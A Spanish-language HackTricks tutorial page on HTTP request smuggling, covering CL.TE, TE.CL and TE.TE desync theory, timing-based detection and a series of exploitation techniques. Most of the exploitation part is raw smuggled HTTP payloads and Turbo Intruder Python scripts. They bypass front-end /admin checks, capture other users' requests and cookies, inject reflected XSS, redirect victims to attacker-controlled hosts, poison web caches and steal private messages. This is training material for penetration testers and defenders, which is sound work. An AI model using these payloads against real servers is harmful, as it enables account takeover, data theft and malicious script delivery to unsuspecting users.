.. | ||
browser-http-request-smuggling.md | ||
README.md | ||
request-smuggling-in-http-2-downgrades.md |
Ataque de Desincronización de Petición HTTP / Ataque de Desincronización de HTTP
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de Telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
¿Qué es?
Esta vulnerabilidad ocurre cuando una desincronización entre los proxies de front-end y el servidor de back-end permite a un atacante enviar una petición HTTP que será interpretada como una única petición por los proxies de front-end (balanceador de carga/reverse-proxy) y como 2 peticiones por el servidor de back-end.
Esto permite a un usuario modificar la siguiente petición que llega al servidor de back-end después de la suya.
Teoría
Si se recibe un mensaje con tanto un campo de encabezado Transfer-Encoding como un campo de encabezado Content-Length, este último DEBE ser ignorado.
Content-Length
El encabezado de entidad Content-Length indica el tamaño del cuerpo de la entidad, en bytes, enviado al destinatario.
Transfer-Encoding: chunked
El encabezado Transfer-Encoding especifica la forma de codificación utilizada para transferir de manera segura el cuerpo de carga útil al usuario.
Chunked significa que los datos grandes se envían en una serie de fragmentos.
Realidad
El front-end (un balanceador de carga / reverse proxy) procesa el encabezado content-length o el encabezado transfer-encoding y el servidor de back-end procesa el otro provocando una desincronización entre los 2 sistemas.
Esto podría ser muy crítico ya que un atacante podrá enviar una petición al proxy inverso que será interpretada por el servidor de back-end como 2 peticiones diferentes. El peligro de esta técnica reside en el hecho de que el servidor de back-end interpretará la segunda petición inyectada como si viniera del siguiente cliente y la petición real de ese cliente será parte de la petición inyectada.
Particularidades
Recuerda que en HTTP un carácter de nueva línea está compuesto por 2 bytes:
- Content-Length: Este encabezado utiliza un número decimal para indicar el número de bytes del cuerpo de la petición. Se espera que el cuerpo termine en el último carácter, no se necesita una nueva línea al final de la petición.
- Transfer-Encoding: Este encabezado utiliza en el cuerpo un número hexadecimal para indicar el número de bytes del siguiente fragmento. El fragmento debe terminar con una nueva línea, pero esta nueva línea no se cuenta en el indicador de longitud. Este método de transferencia debe terminar con un fragmento de tamaño 0 seguido de 2 nuevas líneas:
0
- Connection: Basado en mi experiencia, se recomienda usar
Connection: keep-alive
en la primera petición del ataque de desincronización.
Ejemplos Básicos
Entonces, los ataques de desincronización de petición implican colocar tanto el encabezado Content-Length
como el encabezado Transfer-Encoding
en una sola petición HTTP y manipularlos de manera que los servidores de front-end y back-end procesen la petición de manera diferente. La forma exacta en que se hace esto depende del comportamiento de los dos servidores:
- CL.TE: el servidor de front-end utiliza el encabezado
Content-Length
y el servidor de back-end utiliza el encabezadoTransfer-Encoding
. - TE.CL: el servidor de front-end utiliza el encabezado
Transfer-Encoding
y el servidor de back-end utiliza el encabezadoContent-Length
. - TE.TE: tanto el servidor de front-end como el de back-end admiten el encabezado
Transfer-Encoding
, pero se puede inducir a uno de los servidores a no procesarlo al ofuscar de alguna manera el encabezado.
Vulnerabilidades CL.TE
Aquí, el servidor de front-end utiliza el encabezado Content-Length
y el servidor de back-end utiliza el encabezado Transfer-Encoding
. Podemos realizar un ataque simple de desincronización de petición HTTP de la siguiente manera:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked
\ `0`\
GET /404 HTTP/1.1
Foo: x
Observa cómo Content-Length
indica que la longitud de la petición del cuerpo es de 30 bytes (recuerda que HTTP utiliza una nueva línea, por lo que son 2 bytes por cada nueva línea), por lo que el proxy inverso enviará la petición completa al servidor de back-end, y el servidor de back-end procesará el encabezado Transfer-Encoding
, dejando GET /404 HTTP/1.1
como el comienzo de la siguiente petición (por cierto, la siguiente petición se agregará a Foo:x<La siguiente petición comienza aquí>
).
Vulnerabilidades TE.CL
Aquí, el servidor de front-end utiliza el encabezado Transfer-Encoding
y el servidor de back-end utiliza el encabezado Content-Length
. Podemos realizar un ataque simple de solicitud HTTP smuggling de la siguiente manera:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
\ `7b`\ `GET /404 HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application/x-www-form-urlencoded`\ `Content-Length: 30`\
x=
0
\
En este caso, el reverse-proxy enviará toda la solicitud al back-end como indica el Transfer-Encoding
. Pero, el back-end solo procesará los 7b
(4 bytes) como se indica en el Content-Length
. Por lo tanto, la siguiente solicitud será la que comienza con GET /404 HTTP/1.1
.
Tenga en cuenta que aunque el ataque debe terminar con un 0
, la siguiente solicitud se agregará como valores adicionales del parámetro x.
También tenga en cuenta que el Content-Length de la solicitud incrustada indicará la longitud de la siguiente solicitud que se va a agregar al parámetro x. Si es demasiado pequeño, solo se agregarán unos pocos bytes, y si es demasiado grande (mayor que la longitud de la siguiente solicitud), se producirá un error para la siguiente solicitud.
Vulnerabilidades TE.TE
Aquí, los servidores de front-end y back-end admiten el encabezado Transfer-Encoding
, pero se puede inducir a uno de los servidores a no procesarlo mediante la obfuscación del encabezado de alguna manera.
Existen infinitas formas de obfuscar el encabezado Transfer-Encoding
. Por ejemplo:
Transfer-Encoding: xchunked
\ `Transfer-Encoding : chunked`\
Transfer-Encoding: chunked
Transfer-Encoding: x
\ `Transfer-Encoding: chunked`\ `Transfer-encoding: x`\
Transfer-Encoding:[tab]chunked
\ `[space]Transfer-Encoding: chunked`\
X: X[\n]Transfer-Encoding: chunked
``
Transfer-Encoding
: chunked
Dependiendo del servidor (reverse-proxy o de respaldo) que deje de procesar el encabezado TE, encontrará una vulnerabilidad CL.TE o una vulnerabilidad TE.CL.
Encontrar HTTP Request Smuggling
Encontrar vulnerabilidades CL.TE utilizando técnicas de temporización
Si una aplicación es vulnerable a la variante CL.TE de request smuggling, enviar una solicitud como la siguiente a menudo causará un retraso en el tiempo:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4
1
A
0
Dado que el servidor de front-end utiliza el encabezado Content-Length
, solo reenviará parte de esta solicitud, omitiendo el 0
. El servidor de back-end utiliza el encabezado Transfer-Encoding
, procesa el primer fragmento y luego espera a que llegue el siguiente fragmento. Esto causará un retraso observable en el tiempo.
A veces, en lugar de recibir un tiempo de espera, se recibe una solicitud incorrecta 400 del host final, como en el siguiente escenario, donde se envía una carga útil CL.TE:
Y la respuesta es una redirección que contiene un error dentro del cuerpo, incluso con la versión de haproxy utilizada:
Encontrar vulnerabilidades TE.CL utilizando técnicas de temporización
Si una aplicación es vulnerable a la variante TE.CL de request smuggling, enviar una solicitud como la siguiente a menudo causará un retraso en el tiempo:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6
0
X
Sondeando vulnerabilidades de HTTP Request Smuggling
Una vez que hayas descubierto que las técnicas de temporización funcionan, necesitas sondear si puedes alterar las solicitudes de otros clientes.
La forma más sencilla de hacer esto es intentar envenenar tus propias solicitudes, por ejemplo, hacer una solicitud para /
y obtener una respuesta 404.
En los Ejemplos Básicos ya vimos ejemplos de CL.TE
y TE.CL
de cómo envenenar la solicitud de un cliente para solicitar /404
, provocando una respuesta 404 cuando el cliente estaba solicitando cualquier otro recurso.
Notas
Al intentar confirmar vulnerabilidades de solicitud smuggling a través de la interferencia con otras solicitudes, se deben tener en cuenta algunas consideraciones importantes:
- La solicitud "ataque" y la solicitud "normal" deben enviarse al servidor utilizando conexiones de red diferentes. Enviar ambas solicitudes a través de la misma conexión no demostrará que la vulnerabilidad existe.
- La solicitud "ataque" y la solicitud "normal" deben utilizar la misma URL y los mismos nombres de parámetros, en la medida de lo posible. Esto se debe a que muchas aplicaciones modernas enrutan las solicitudes front-end a diferentes servidores back-end según la URL y los parámetros. El uso de la misma URL y los mismos parámetros aumenta la probabilidad de que las solicitudes sean procesadas por el mismo servidor back-end, lo cual es esencial para que el ataque funcione.
- Al probar la solicitud "normal" para detectar cualquier interferencia de la solicitud "ataque", estás compitiendo con cualquier otra solicitud que la aplicación esté recibiendo al mismo tiempo, incluyendo las de otros usuarios. Debes enviar la solicitud "normal" inmediatamente después de la solicitud "ataque". Si la aplicación está ocupada, es posible que necesites realizar varios intentos para confirmar la vulnerabilidad.
- En algunas aplicaciones, el servidor front-end funciona como un equilibrador de carga y reenvía las solicitudes a diferentes sistemas back-end según algún algoritmo de equilibrio de carga. Si tus solicitudes "ataque" y "normal" se reenvían a diferentes sistemas back-end, entonces el ataque fallará. Esta es una razón adicional por la cual es posible que necesites intentarlo varias veces antes de confirmar una vulnerabilidad.
- Si tu ataque tiene éxito al interferir con una solicitud posterior, pero esta no fue la solicitud "normal" que enviaste para detectar la interferencia, esto significa que otro usuario de la aplicación se vio afectado por tu ataque. Si continúas realizando la prueba, esto podría tener un efecto disruptivo en otros usuarios, por lo que debes tener precaución.
Forzando a través de encabezados hop-by-hop
Abusando de los encabezados hop-by-hop, podrías indicar al proxy que elimine el encabezado Content-Length o Transfer-Encoding para que sea posible abusar de una solicitud HTTP smuggling.
Connection: Content-Length
Para obtener más información sobre las cabeceras hop-by-hop, visita:
{% content-ref url="../abusing-hop-by-hop-headers.md" %} abusing-hop-by-hop-headers.md {% endcontent-ref %}
Abuso de HTTP Request Smuggling
Para evadir los controles de seguridad del front-end
A veces, los proxies del front-end realizan algunas verificaciones de seguridad. Puedes evitarlos abusando de HTTP Request Smuggling, ya que podrás burlar las protecciones. Por ejemplo, en este caso no puedes acceder a /admin
desde el exterior y el proxy del front-end lo verifica, pero este proxy no verifica la solicitud incrustada:
CL.TE
POST / HTTP/1.1
Host: acb21fdd1f98c4f180c02944000100b5.web-security-academy.net
Cookie: session=xht3rUYoc83NfuZkuAp8sDxzf0AZIwQr
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked
\ `0`\
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
``
x=
TE.CL
POST / HTTP/1.1
Host: ace71f491f52696180f41ed100d000d4.web-security-academy.net
Cookie: session=Dpll5XYw4hNEu09dGccoTjHlFNx5QY1c
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0
\
Revelando la reescritura de solicitudes del front-end
En muchas aplicaciones, el servidor del front-end realiza una reescritura de las solicitudes antes de enviarlas al servidor del back-end, generalmente agregando algunas cabeceras de solicitud adicionales.
Una acción común es agregar a la solicitud la cabecera X-Forwarded-For: <IP del cliente>
u otra cabecera similar para que el back-end conozca la IP del cliente.
A veces, si puedes encontrar qué nuevos valores se agregan a la solicitud, podrías ser capaz de burlar las protecciones y acceder a información oculta/puntos finales.
Para descubrir cómo el proxy reescribe la solicitud, necesitas encontrar un parámetro POST cuyo valor el back-end reflejará en la respuesta. Luego, utiliza este parámetro como el último y utiliza una explotación como esta:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked
0
\ `POST /search HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application/x-www-form-urlencoded`\ `Content-Length: 100`\
search=
En este caso, la siguiente solicitud se agregará después de search=
, que también es el parámetro cuyo valor se reflejará en la respuesta, por lo tanto, se reflejarán las cabeceras de la siguiente solicitud.
Ten en cuenta que solo se reflejará la longitud indicada en la cabecera Content-Length
de la solicitud incrustada. Si utilizas un número bajo, solo se reflejarán unos pocos bytes, si utilizas un número mayor que la longitud de todas las cabeceras, entonces la solicitud incrustada generará un error. Por lo tanto, debes comenzar con un número pequeño y aumentarlo hasta que veas todo lo que deseas ver.
También ten en cuenta que esta técnica también es explotable con una vulnerabilidad TE.CL, pero la solicitud debe terminar con search=\r\n0
. Sin embargo, independientemente de los caracteres de nueva línea, los valores se agregarán al parámetro de búsqueda.
Finalmente, ten en cuenta que en este ataque todavía estamos atacándonos a nosotros mismos para aprender cómo el proxy del front-end reescribe la solicitud.
Capturando solicitudes de otros usuarios
Si puedes encontrar una solicitud POST que va a guardar el contenido de uno de los parámetros, puedes agregar la siguiente solicitud como el valor de ese parámetro para almacenar la solicitud del siguiente cliente:
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked
\ `0`\
POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
``
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=HACKTRICKS&email=email%40email.com&comment=
En este caso, el valor del parámetro comment se guardará dentro de un comentario de una publicación en la página que está disponible públicamente, por lo que aparecerá un comentario con el contenido de la siguiente solicitud.
Una limitación de esta técnica es que generalmente solo capturará datos hasta el delimitador de parámetros que sea aplicable para la solicitud smuggled. Para envíos de formularios codificados en URL, esto será el carácter &
, lo que significa que el contenido que se almacene de la solicitud del usuario víctima terminará en el primer &
, que incluso podría aparecer en la cadena de consulta.
También ten en cuenta que esta técnica también es explotable con una vulnerabilidad TE.CL, pero la solicitud debe terminar con search=\r\n0
. Sin embargo, independientemente de los caracteres de nueva línea, los valores se agregarán al parámetro de búsqueda.
Uso de HTTP request smuggling para explotar XSS reflejado
Si la página web también es vulnerable a XSS reflejado, puedes abusar de HTTP Request Smuggling para atacar a los clientes de la web. La explotación de XSS reflejado a través de HTTP Request Smuggling tiene algunas ventajas:
- No requiere interacción con los usuarios víctimas
- Se puede utilizar para explotar el comportamiento XSS en partes de la solicitud que no se pueden controlar fácilmente en un ataque de XSS reflejado normal, como las cabeceras de la solicitud HTTP.
Si una web es vulnerable a XSS reflejado en la cabecera User-Agent, puedes usar esta carga útil para explotarlo:
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=Ro7YknOtbl3bxURHAAxZz84qj3PSMnSY
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded
\ `0`\
GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
``
A=
Uso de HTTP request smuggling para convertir una redirección en el sitio en una redirección abierta
Muchas aplicaciones realizan redirecciones en el sitio de una URL a otra y colocan el nombre de host de la cabecera Host
de la solicitud en la URL de redirección. Un ejemplo de esto es el comportamiento predeterminado de los servidores web Apache e IIS, donde una solicitud para una carpeta sin una barra diagonal al final recibe una redirección a la misma carpeta incluyendo la barra diagonal:
GET /home HTTP/1.1
Host: normal-website.com
``
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
Este comportamiento normalmente se considera inofensivo, pero se puede explotar en un ataque de smuggling de solicitud para redirigir a otros usuarios a un dominio externo. Por ejemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked
\ `0`\
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
La solicitud smuggled provocará una redirección al sitio web del atacante, lo cual afectará la solicitud del próximo usuario que sea procesada por el servidor backend. Por ejemplo:
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
``
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
Aquí, la solicitud del usuario era para un archivo JavaScript que fue importado por una página en el sitio web. El atacante puede comprometer completamente al usuario víctima devolviendo su propio JavaScript en la respuesta.
Uso de HTTP request smuggling para realizar envenenamiento de caché web
Si alguna parte de la infraestructura front-end realiza el almacenamiento en caché de contenido (generalmente por razones de rendimiento), es posible que se pueda envenenar esa caché modificando la respuesta del servidor.
Ya hemos visto cómo modificar el valor esperado devuelto por el servidor a un 404 (en los Ejemplos Básicos), de manera similar podrías hacer que el servidor devuelva el contenido de /index.html cuando la solicitud envenenada esté solicitando /static/include.js
. De esta manera, el contenido de /static/include.js
se almacenará en caché con el contenido de /index.html
, lo que hará que /static/include.js
sea inaccesible para los clientes (¿DoS?).
Ten en cuenta que esto es aún más interesante si encuentras alguna Redirección Abierta o alguna redirección en el sitio a redirección abierta (última sección). Porque podrías ser capaz de cambiar los valores de caché de /static/include.js
con los de un script controlado por ti (haciendo un XSS general a todos los clientes que intenten descargar la nueva versión de /static/include.js
).
En este ejemplo se mostrará cómo puedes explotar un envenenamiento de caché + redirección en el sitio a redirección abierta para modificar el contenido de la caché de /static/include.js
y servir código JS controlado por el atacante:
POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked
\ `0`\
GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
``
x=1
Observa cómo la solicitud embebida está solicitando /post/next?postId=3
. Esta solicitud será redirigida a /post?postId=4
y utilizará el valor de la cabecera Host para indicar el dominio. Por lo tanto, puedes modificar la cabecera Host para apuntar al servidor del atacante y la redirección utilizará ese dominio (redirección en el sitio a redirección abierta).
Luego, después de envenenar el socket, debes enviar una solicitud GET a **/static/include.js
** esta solicitud será envenenada por la solicitud redirección en el sitio a redirección abierta y obtendrá el contenido del script controlado por el atacante.
La próxima vez que alguien solicite /static/include.js
, se servirán los contenidos en caché del script del atacante (XSS general).
Uso de la técnica de solicitud HTTP smuggling para realizar engaño en la caché web
¿Cuál es la diferencia entre envenenamiento de caché web y engaño en la caché web?
- En el envenenamiento de caché web, el atacante hace que la aplicación almacene contenido malicioso en la caché, y este contenido se sirve desde la caché a otros usuarios de la aplicación.
- En el engaño en la caché web, el atacante hace que la aplicación almacene contenido sensible perteneciente a otro usuario en la caché, y luego el atacante recupera este contenido de la caché.
En esta variante, el atacante introduce una solicitud que devuelve contenido sensible específico del usuario. Por ejemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Connection: keep-alive
Content-Length: 43
Transfer-Encoding: chunked
\ `0`\
GET /private/messages HTTP/1.1
Foo: X
Si el veneno llega a un cliente que estaba accediendo a algún contenido estático como /someimage.png
que iba a ser almacenado en caché. El contenido de /private/messages
de la víctima se almacenará en /someimage.png
y el atacante podrá robarlo.
Ten en cuenta que el atacante no sabe qué contenido estático estaba intentando acceder la víctima, por lo que probablemente la mejor manera de probar esto es realizar el ataque, esperar unos segundos y cargar todos los contenidos estáticos y buscar los datos privados.
Armando la técnica de solicitud HTTP smuggling con desincronización de respuesta HTTP
¿Has encontrado alguna vulnerabilidad de solicitud HTTP smuggling y no sabes cómo explotarla? Prueba este otro método de explotación:
{% content-ref url="../http-response-smuggling-desync.md" %} http-response-smuggling-desync.md {% endcontent-ref %}
Scripts de Turbo Intruder
CL.TE
Desde https://hipotermia.pw/bb/http-desync-idor
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar
0
GET /admin7 HTTP/1.1
X-Foo: k'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
TE.CL
Desde: https://hipotermia.pw/bb/http-desync-account-takeover
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked
46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15
kk
0
'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
Más información
Herramientas
- https://github.com/anshumanpattnaik/http-request-smuggling
- https://github.com/PortSwigger/http-request-smuggler
- https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
- https://github.com/defparam/smuggler
- https://github.com/bahruzjabiyev/t-reqs-http-fuzzer: Esta herramienta es un Fuzzer HTTP basado en gramática útil para encontrar discrepancias extrañas en el contrabando de solicitudes.
Referencias
- https://portswigger.net/web-security/request-smuggling
- https://portswigger.net/web-security/request-smuggling/finding
- https://portswigger.net/web-security/request-smuggling/exploiting
- https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4
- https://github.com/haroonawanofficial/HTTP-Desync-Attack/
- https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html
- https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección de NFTs exclusivos.
- Obtén el swag oficial de PEASS y HackTricks.
- Únete al 💬 grupo de Discord o al grupo de Telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.